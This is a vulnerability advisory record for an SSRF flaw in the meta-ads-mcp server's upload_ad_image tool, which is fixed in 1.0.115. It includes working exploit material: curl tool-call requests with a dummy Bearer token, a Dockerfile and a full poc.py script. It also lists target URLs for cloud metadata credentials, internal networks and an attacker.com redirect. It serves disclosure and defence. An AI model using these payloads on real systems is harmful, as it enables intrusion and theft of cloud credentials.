{"id":"CVE-2026-54549","aliases":["PYSEC-2026-3485"],"url":"https://o3.security/vulnerability/CVE-2026-54549","summary":"meta-ads-mcp: Server-Side Request Forgery (SSRF) in `upload_ad_image` via Unrestricted `image_url` Fetch","details":"## Server-Side Request Forgery (SSRF) in `upload_ad_image` via Unrestricted `image_url` Fetch\n\n### Summary\n\nThe `upload_ad_image` MCP tool in `meta-ads-mcp` v1.0.113 passes an attacker-controlled `image_url` parameter directly to an HTTP fetch helper (`httpx.AsyncClient(follow_redirects=True).get(url)`) without any scheme, host, or IP address validation. When the server is deployed with the `streamable-http` transport (a documented, officially supported mode), an unauthenticated remote attacker can supply an arbitrary URL—including `http://127.0.0.1/`, RFC 1918 addresses, or cloud metadata endpoints such as `http://169.254.169.254/`—and cause the server to issue an outbound HTTP request to that target. The `Authorization` middleware only verifies that a non-empty Bearer token is present; actual Meta API credential validation occurs *after* the image download, so any dummy Bearer token bypasses the pre-fetch check. This constitutes a full, unauthenticated Server-Side Request Forgery with a confirmed CVSS 3.1 Base Score of 8.3 (High).\n\n### Details\n\n**Source**\n\n`meta_ads_mcp/core/ads.py`, line 1316–1322: The MCP tool `upload_ad_image` is registered with `@mcp_server.tool()` and exposes `image_url: Optional[str]` as a direct tool argument that is fully attacker-controlled over the network.\n\n```python\n# meta_ads_mcp/core/ads.py\n1316: @mcp_server.tool()\n1318: async def upload_ad_image(\n1322:     image_url: Optional[str] = None,\n```\n\n**Propagation**\n\n`meta_ads_mcp/core/ads.py`, line 1389: The value is forwarded to `try_multiple_download_methods(image_url)` without any sanitization or validation.\n\n```python\n# meta_ads_mcp/core/ads.py\n1389:     image_bytes = await try_multiple_download_methods(image_url)\n```\n\n**Sinks**\n\n`meta_ads_mcp/core/utils.py` contains three independent HTTP fetch paths, all using `httpx.AsyncClient` with `follow_redirects=True` and no URL, host, or IP validation:\n\n```python\n# meta_ads_mcp/core/utils.py\n166:     async with httpx.AsyncClient(follow_redirects=True, timeout=30.0) as client:\n168:         response = await client.get(url, headers=headers)\n\n214:     async with httpx.AsyncClient(follow_redirects=True) as client:\n215:         response = await client.get(url, headers=headers, timeout=30.0)\n\n224:     async with httpx.AsyncClient(follow_redirects=True) as client:\n228:         response = await client.get(url, timeout=30.0)\n```\n\n**Authorization bypass**\n\n`meta_ads_mcp/core/http_auth_integration.py`, lines 78–82: The middleware extracts any non-empty Bearer token value and places it into request context without validating it against Meta's API. The actual Meta OAuth token check (in `meta_ads_mcp/core/api.py:415`) occurs only after the image download completes, meaning the SSRF sink fires before any meaningful credential verification.\n\n**Absence of sanitization**\n\nA search for `urlparse`, `urlsplit`, `ipaddress`, `localhost`, `127.0.0.1`, `169.254`, `private`, `allowlist`, `blocklist`, or `is_global` in `meta_ads_mcp/core/ads.py` and `meta_ads_mcp/core/utils.py` returns no matches. No URL, scheme, hostname, or IP validation is present anywhere in the fetch path.\n\n**Transport exposure**\n\n`meta_ads_mcp/core/server.py`, line 219: The `--transport streamable-http` mode is a documented, officially supported deployment option (not a development-only stub), meaning the attack surface is reachable over the network in production deployments.\n\n### PoC\n\n**Environment setup**\n\n```bash\n# Build and run the Docker image (includes vulnerable meta-ads-mcp v1.0.113 and poc.py)\ndocker build -f vuln-001/Dockerfile \\\n  -t meta-ads-ssrf-poc \\\n  reports/pypiAi_615_pipeboard-co__meta-ads-mcp/\n\ndocker run --rm meta-ads-ssrf-poc\n# Exit code 0 = SSRF confirmed\n```\n\n**Manual reproduction (two terminals)**\n\n```bash\n# Terminal 1 — SSRF capture listener on port 9009\npython3 - <<'PY'\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        print(\"SSRF GET\", self.path, flush=True)\n        body = b\"\\xff\\xd8\\xff\\xe0\\x00\\x10JFIF\\x00\\x01\\x01\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\xff\\xd9\"\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"image/jpeg\")\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\nHTTPServer((\"127.0.0.1\", 9009), H).serve_forever()\nPY\n\n# Terminal 2 — start the vulnerable MCP server\nMETA_APP_ID=dummy META_APP_SECRET=dummy \\\n  python3 -m meta_ads_mcp --transport streamable-http --host 0.0.0.0 --port 8080\n```\n\n**Exploit request**\n\n```bash\n# 1. Initialize MCP session\ncurl -sS -X POST http://127.0.0.1:8080/mcp \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Accept: application/json, text/event-stream\" \\\n  -H \"Authorization: Bearer dummy-token\" \\\n  -d '{\"jsonrpc\":\"2.0\",\"method\":\"initialize\",\"id\":0,\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"1.0\"}}}'\n\n# 2. Send SSRF payload — image_url points to internal listener\ncurl -sS -X POST http://127.0.0.1:8080/mcp \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Accept: application/json, text/event-stream\" \\\n  -H \"Authorization: Bearer dummy-token\" \\\n  -d '{\n    \"jsonrpc\": \"2.0\",\n    \"method\": \"tools/call\",\n    \"id\": 1,\n    \"params\": {\n      \"name\": \"upload_ad_image\",\n      \"arguments\": {\n        \"account_id\": \"act_123456789\",\n        \"image_url\": \"http://127.0.0.1:9009/poc.jpg\"\n      }\n    }\n  }'\n```\n\n**Expected result**\n\nTerminal 1 prints:\n```\nSSRF GET /poc.jpg\n```\n\nThe `curl` response returns an OAuth error from Meta (because the dummy token is invalid), but the inbound `GET /poc.jpg` request to the internal listener has already been received, confirming that the server-side fetch executes before any credential validation.\n\n**Confirmed runtime evidence (from Docker run)**\n\n```\n[SSRF LISTENER] Received GET '/poc.jpg' from 127.0.0.1 | User-Agent: 'curl/8.4.0'\n[PASS] SSRF CONFIRMED — MCP server issued 1 request(s) to 127.0.0.1:9009\n  -> GET /poc.jpg  |  User-Agent: 'curl/8.4.0'\n```\n\n**Alternative targets**\n\nReplace `http://127.0.0.1:9009/poc.jpg` with:\n- `http://169.254.169.254/latest/meta-data/` — cloud instance metadata (AWS/GCP/Azure)\n- `http://10.0.0.1/` — RFC 1918 internal network services\n- `http://attacker.com/redirect` — a public URL that redirects to an internal target (exploitable via `follow_redirects=True`)\n\n### Impact\n\nThis is a Server-Side Request Forgery (SSRF) vulnerability. Any party capable of sending a JSON-RPC `tools/call` request to the MCP HTTP endpoint—using any non-empty Bearer token string—can instruct the server to make arbitrary outbound HTTP GET requests, including to:\n\n- **Localhost services**: databases, admin panels, internal APIs, and other processes bound to `127.0.0.1` on the host\n- **RFC 1918 / private network addresses**: internal microservices, Kubernetes control planes, cloud-internal load balancers\n- **Cloud instance metadata endpoints**: `http://169.254.169.254/` (AWS IMDSv1, GCP, Azure), potentially exposing IAM credentials, instance identity documents, and bootstrap secrets\n- **Redirect-chained internal targets**: any internal host reachable via a public-to-private redirect, because `follow_redirects=True` is set on all three fetch paths without re-validation at each hop\n\nThe SSRF fires *before* Meta API credential validation, so no valid Meta OAuth token is required. The impact spans confidentiality (internal data exfiltration), integrity (requests that trigger state-changing actions on internal services), and limited availability (internal service disruption).\n\nOperators deploying `meta-ads-mcp` with `--transport streamable-http` in environments co-located with sensitive internal services or cloud metadata services are directly at risk.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\n# Install system build dependencies\nRUN apt-get update && \\\n    apt-get install -y --no-install-recommends gcc && \\\n    rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Install pip and uv for fast dependency installation\nRUN pip install --upgrade pip && pip install uv\n\n# Install Python dependencies from the cloned repo\nCOPY repo/requirements.txt .\nRUN uv pip install --system -r requirements.txt\n\n# Copy the full application source (cloned repo)\nCOPY repo/ .\n\n# Install the package in editable mode (no extra deps, already installed above)\nRUN pip install --no-deps -e .\n\n# Copy the PoC exploit script into the image\nCOPY vuln-001/poc.py /poc.py\n\n# Run the PoC by default; exit code 0 = SSRF confirmed, 1 = not reproduced, 2 = setup error\nCMD [\"python3\", \"/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof-of-Concept: SSRF via upload_ad_image image_url in meta-ads-mcp v1.0.113\nCWE-918 - Server-Side Request Forgery (unrestricted server-side HTTP fetch)\n\nAttack flow:\n  1. Attacker sends tools/call for upload_ad_image with image_url=\"http://127.0.0.1:9009/poc.jpg\"\n  2. MCP server calls try_multiple_download_methods(image_url) with no URL validation\n  3. httpx.AsyncClient(follow_redirects=True).get(\"http://127.0.0.1:9009/poc.jpg\") fires\n  4. SSRF listener records the inbound GET, proving the server issued the request\n\nAuthorization bypass: only a non-empty Bearer token string is required before the fetch;\nthe actual Meta API credential check happens after the image download.\n\"\"\"\n\nimport threading\nimport subprocess\nimport time\nimport json\nimport sys\nimport socket\nimport os\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nimport httpx\n\n# ── Configuration ─────────────────────────────────────────────────────────────\nSSRF_PORT = 9009       # Port for the SSRF capture listener\nMCP_PORT  = 8080       # Port for the vulnerable MCP server\nSSRF_PATH = \"/poc.jpg\" # Path that the MCP server will request (SSRF indicator)\n\n# ── Shared state ──────────────────────────────────────────────────────────────\nssrf_hits: list = []\nssrf_lock = threading.Lock()\n\n\n# ── SSRF capture listener ─────────────────────────────────────────────────────\n\nclass SSRFCaptureHandler(BaseHTTPRequestHandler):\n    \"\"\"Records every inbound GET request made by the vulnerable MCP server.\"\"\"\n\n    def do_GET(self):\n        hit = {\n            \"method\": \"GET\",\n            \"path\": self.path,\n            \"host\": self.client_address[0],\n            \"user_agent\": self.headers.get(\"User-Agent\", \"\"),\n        }\n        with ssrf_lock:\n            ssrf_hits.append(hit)\n        print(\n            f\"[SSRF LISTENER] Received GET {self.path!r}\"\n            f\" from {self.client_address[0]}\"\n            f\" | User-Agent: {hit['user_agent']!r}\",\n            flush=True,\n        )\n        # Return a minimal valid JPEG so the server processes the response\n        body = (\n            b\"\\xff\\xd8\\xff\\xe0\\x00\\x10JFIF\\x00\\x01\\x01\\x00\\x00\\x01\\x00\\x01\\x00\\x00\"\n            b\"\\xff\\xd9\"\n        )\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"image/jpeg\")\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n\n    def log_message(self, fmt, *args):\n        pass  # Suppress default access log to keep output clean\n\n\ndef start_ssrf_listener() -> None:\n    server = HTTPServer((\"127.0.0.1\", SSRF_PORT), SSRFCaptureHandler)\n    server.serve_forever()\n\n\n# ── Helpers ───────────────────────────────────────────────────────────────────\n\ndef wait_for_port(host: str, port: int, timeout: float = 30.0) -> bool:\n    \"\"\"Poll until the TCP port is accepting connections or timeout expires.\"\"\"\n    deadline = time.time() + timeout\n    while time.time() < deadline:\n        try:\n            with socket.create_connection((host, port), timeout=1.0):\n                return True\n        except (ConnectionRefusedError, OSError):\n            time.sleep(0.5)\n    return False\n\n\ndef mcp_post(\n    method: str,\n    params: dict,\n    req_id: int,\n    session_id: str | None = None,\n) -> httpx.Response:\n    \"\"\"Send a single JSON-RPC 2.0 request to the MCP streamable-HTTP endpoint.\n\n    Path is /mcp (no trailing slash) — FastMCP 1.23.0 redirects /mcp/ → /mcp\n    with HTTP 307, so we skip the redirect by targeting the canonical path directly.\n    Accept header must include text/event-stream; without it the server returns 406.\n    \"\"\"\n    headers = {\n        \"Content-Type\": \"application/json\",\n        # MCP streamable-HTTP requires both JSON and SSE in Accept; omitting\n        # text/event-stream causes HTTP 406 from the FastMCP uvicorn handler.\n        \"Accept\": \"application/json, text/event-stream\",\n        # Dummy Bearer token — the middleware only checks that it is non-empty;\n        # Meta API credential validation happens AFTER the image download (SSRF sink).\n        \"Authorization\": \"Bearer dummy-ssrf-poc-token\",\n    }\n    if session_id:\n        headers[\"Mcp-Session-Id\"] = session_id\n\n    payload = {\"jsonrpc\": \"2.0\", \"method\": method, \"id\": req_id, \"params\": params}\n    with httpx.Client(timeout=30.0) as client:\n        return client.post(\n            f\"http://127.0.0.1:{MCP_PORT}/mcp\",  # no trailing slash\n            json=payload,\n            headers=headers,\n        )\n\n\n# ── Main PoC ──────────────────────────────────────────────────────────────────\n\ndef main() -> int:\n    print(\"=\" * 65, flush=True)\n    print(\"VULN-001 PoC  —  SSRF in meta-ads-mcp upload_ad_image (v1.0.113)\", flush=True)\n    print(\"CWE-918 | CVSS 8.3 | image_url fetch has zero URL validation\", flush=True)\n    print(\"=\" * 65, flush=True)\n\n    # ── Step 1: Start the SSRF capture listener ────────────────────────────\n    t = threading.Thread(target=start_ssrf_listener, daemon=True)\n    t.start()\n    time.sleep(0.3)\n    print(f\"[+] SSRF capture listener running on 127.0.0.1:{SSRF_PORT}\", flush=True)\n\n    # ── Step 2: Start the vulnerable MCP server ────────────────────────────\n    env = os.environ.copy()\n    # Dummy credentials so the server starts; the Meta API is only called after\n    # the image has already been fetched (i.e., after the SSRF fires).\n    env.setdefault(\"META_APP_ID\", \"poc-dummy-app-id\")\n    env.setdefault(\"META_APP_SECRET\", \"poc-dummy-secret\")\n    env.setdefault(\"PIPEBOARD_API_TOKEN\", \"\")\n\n    proc = subprocess.Popen(\n        [\n            sys.executable, \"-m\", \"meta_ads_mcp\",\n            \"--transport\", \"streamable-http\",\n            \"--host\", \"127.0.0.1\",\n            \"--port\", str(MCP_PORT),\n        ],\n        stdout=subprocess.PIPE,\n        stderr=subprocess.STDOUT,\n        text=True,\n        env=env,\n        cwd=\"/app\",\n    )\n    print(f\"[*] Waiting for MCP server to bind on 127.0.0.1:{MCP_PORT} ...\", flush=True)\n\n    # ── Step 3: Wait for server readiness ─────────────────────────────────\n    if not wait_for_port(\"127.0.0.1\", MCP_PORT, timeout=30):\n        try:\n            out, _ = proc.communicate(timeout=5)\n        except subprocess.TimeoutExpired:\n            out = \"\"\n        print(f\"[FAIL] MCP server did not start within 30 s.\\nServer output:\\n{out}\", flush=True)\n        return 2\n    print(f\"[+] MCP server is up on 127.0.0.1:{MCP_PORT}\", flush=True)\n    time.sleep(0.5)\n\n    # ── Step 4: MCP protocol initialization ───────────────────────────────\n    # The streamable-HTTP transport requires a brief initialize / initialized\n    # handshake before accepting tool calls.\n    session_id = None\n    try:\n        resp = mcp_post(\n            \"initialize\",\n            {\n                \"protocolVersion\": \"2024-11-05\",\n                \"capabilities\": {},\n                \"clientInfo\": {\"name\": \"ssrf-poc\", \"version\": \"1.0\"},\n            },\n            req_id=0,\n        )\n        print(f\"[*] initialize -> HTTP {resp.status_code}\", flush=True)\n        session_id = resp.headers.get(\"Mcp-Session-Id\")\n        if session_id:\n            print(f\"[*] Session ID: {session_id}\", flush=True)\n            notif_headers = {\n                \"Content-Type\": \"application/json\",\n                \"Authorization\": \"Bearer dummy-ssrf-poc-token\",\n                \"Mcp-Session-Id\": session_id,\n            }\n            notif_payload = {\n                \"jsonrpc\": \"2.0\",\n                \"method\": \"notifications/initialized\",\n                \"params\": {},\n            }\n            with httpx.Client(timeout=10.0) as client:\n                nr = client.post(\n                    f\"http://127.0.0.1:{MCP_PORT}/mcp\",  # no trailing slash\n                    json=notif_payload,\n                    headers=notif_headers,\n                )\n            print(f\"[*] notifications/initialized -> HTTP {nr.status_code}\", flush=True)\n    except Exception as exc:\n        print(f\"[*] Initialization step error (non-fatal): {exc}\", flush=True)\n\n    # ── Step 5: Send the SSRF exploit payload ─────────────────────────────\n    ssrf_url = f\"http://127.0.0.1:{SSRF_PORT}{SSRF_PATH}\"\n    print(f\"\\n[*] Sending exploit request ...\", flush=True)\n    print(f\"    method        : tools/call\", flush=True)\n    print(f\"    tool          : upload_ad_image\", flush=True)\n    print(f\"    image_url     : {ssrf_url}  <-- SSRF payload\", flush=True)\n    print(f\"    Authorization : Bearer dummy-ssrf-poc-token  (not validated before fetch)\", flush=True)\n\n    try:\n        resp = mcp_post(\n            \"tools/call\",\n            {\n                \"name\": \"upload_ad_image\",\n                \"arguments\": {\n                    \"account_id\": \"act_123456789\",\n                    \"image_url\": ssrf_url,\n                },\n            },\n            req_id=1,\n            session_id=session_id,\n        )\n        print(f\"\\n[*] tools/call -> HTTP {resp.status_code}\", flush=True)\n        print(f\"[*] Response preview (first 400 chars):\\n{resp.text[:400]}\", flush=True)\n    except Exception as exc:\n        print(f\"[*] tools/call exception: {exc}\", flush=True)\n\n    # ── Step 6: Allow time for async fetch to complete ────────────────────\n    time.sleep(4)\n    proc.terminate()\n\n    # ── Step 7: Evaluate and report ───────────────────────────────────────\n    print(\"\\n\" + \"=\" * 65, flush=True)\n    with ssrf_lock:\n        hits = list(ssrf_hits)\n\n    if hits:\n        print(\n            f\"[PASS] SSRF CONFIRMED — MCP server issued {len(hits)} request(s) to\"\n            f\" 127.0.0.1:{SSRF_PORT}\",\n            flush=True,\n        )\n        for h in hits:\n            print(\n                f\"  -> {h['method']} {h['path']}\"\n                f\"  |  User-Agent: {h['user_agent']!r}\",\n                flush=True,\n            )\n        print(\n            \"\\nConclusion: upload_ad_image passes attacker-controlled image_url to\"\n            \" httpx.AsyncClient(follow_redirects=True).get(url) without any scheme,\"\n            \" host, or IP validation. Internal services are reachable via SSRF.\",\n            flush=True,\n        )\n        print(\"=\" * 65, flush=True)\n        return 0\n    else:\n        print(\n            f\"[FAIL] No requests received on SSRF listener at 127.0.0.1:{SSRF_PORT}.\",\n            flush=True,\n        )\n        print(\"=\" * 65, flush=True)\n        return 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```","published":"2026-07-17T18:47:31Z","modified":"2026-07-23T15:11:42.744080055Z","cvss":{"score":8.3,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"meta-ads-mcp","fixedVersion":"1.0.115"}],"fix":{"url":"https://github.com/pipeboard-co/meta-ads-mcp/commit/7d9926336bbdac6285a988d043c4ccfe126c94c5","label":"pipeboard-co/meta-ads-mcp@7d99263"},"references":[{"type":"WEB","url":"https://github.com/pipeboard-co/meta-ads-mcp/security/advisories/GHSA-45gf-fjxp-cjpq"},{"type":"WEB","url":"https://github.com/pipeboard-co/meta-ads-mcp/commit/7d9926336bbdac6285a988d043c4ccfe126c94c5"},{"type":"PACKAGE","url":"https://github.com/pipeboard-co/meta-ads-mcp"},{"type":"WEB","url":"https://github.com/pipeboard-co/meta-ads-mcp/releases/tag/1.0.115"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-23T15:11:42.744080055Z"}}